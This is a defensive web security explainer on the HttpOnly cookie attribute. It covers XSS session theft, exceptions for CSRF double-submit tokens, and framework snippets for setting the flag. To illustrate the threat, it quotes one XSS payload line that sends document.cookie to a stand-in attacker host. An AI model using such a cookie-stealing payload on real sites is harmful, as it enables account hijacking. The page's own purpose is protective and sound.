The HttpOnly attribute hides a cookie from JavaScript: a cookie marked HttpOnly is not exposed through document.cookie, so even if an attacker injects script through a cross-site scripting (XSS) bug, they can't read it. Always set it on session and login cookies. The only cookies that should omit it are ones the front-end genuinely needs to read, such as a CSRF double-submit token.
For the site owner (plain English)
In plain terms, HttpOnly is a setting that hides a cookie from the scripts running on your pages. That matters because the cookie keeping a user logged in is effectively their identity, and if a bug ever lets a bad script run on your site, that script could otherwise read the cookie and hijack the account. Marking the login cookie HttpOnlytakes that easiest theft route off the table, so a session cookie without it is a real issue worth fixing soon. The good news: most modern frameworks already turn this on by default, so often there is nothing to do. Ask your developer to confirm the session cookie isHttpOnly, or run the free check below to see it for yourself.
What HttpOnly protects against
XSS is the most common serious web vulnerability, and the usual goal of an XSS payload is to steal the victim's session. The classic one-liner reads every cookie and ships it to the attacker:
// What an XSS payload tries to do
new Image().src = "https://attacker.example/steal?c=" + document.cookie;If the session cookie is HttpOnly, it simply isn't in document.cookie — the payload comes back empty for that cookie, and the attacker cannot lift the session this way. HttpOnly doesn't fix the XSS bug itself (you still must do that), but it removes the highest-impact outcome, turning session theft into a much harder problem.
HttpOnly matters most on the session/auth cookie. A session cookie without it means one XSS bug anywhere on the site can hand an attacker a logged-in session — which is why a missing HttpOnly on a session cookie is a high-severity finding, while on a non-sensitive cookie it is minor.When HttpOnly should be omitted
Some cookies are designed to be read by JavaScript and would break if hidden from it. The most common is the CSRF double-submit token: the server sets a cookie like XSRF-TOKEN and the front-end reads it to echo the value back in a request header, which the server then compares. Frameworks such as Angular, Axios and Laravel use exactly this pattern, so those cookies are intentionally not HttpOnly:
- CSRF double-submit tokens —
XSRF-TOKEN,csrf_token,csrftokenand similar. - Front-end-read preference/analytics cookies — locale, theme, or analytics IDs the client script needs.
These are not sensitive in the way a session token is: the CSRF token is only useful when echoed back alongside the session cookie, which an attacker still can't read. A good checker recognises these and won't flag them for a missing HttpOnly — they should still be Secure and carry an appropriate SameSite.
How to add HttpOnly
# Raw header — a session cookie
Set-Cookie: sid=<token>; HttpOnly; Secure; SameSite=Lax; Path=/// Express
res.cookie("sid", token, { httpOnly: true, secure: true, sameSite: "lax" });
# Django settings.py
SESSION_COOKIE_HTTPONLY = True # on by default in Django
# Rails — on by default for the session cookie; for a custom cookie:
cookies[:sid] = { value: token, httponly: true, secure: true, same_site: :lax }
// PHP
setcookie("sid", $token, ["httponly" => true, "secure" => true, "samesite" => "Lax"]);Many frameworks set HttpOnly on their session cookie by default — the risk is usually a hand-rolled cookie, or a session cookie deliberately exposed to the front end. If your SPA reads the session token in JavaScript, that is the real problem to redesign: keep the session in an HttpOnly cookie and use a separate, readable CSRF token.
See whether your session cookie is HttpOnly — free, no signup.
Run the cookie checker →Pair HttpOnly with the other two flags — see Secure and SameSite — and read the cookie security guide for the complete picture.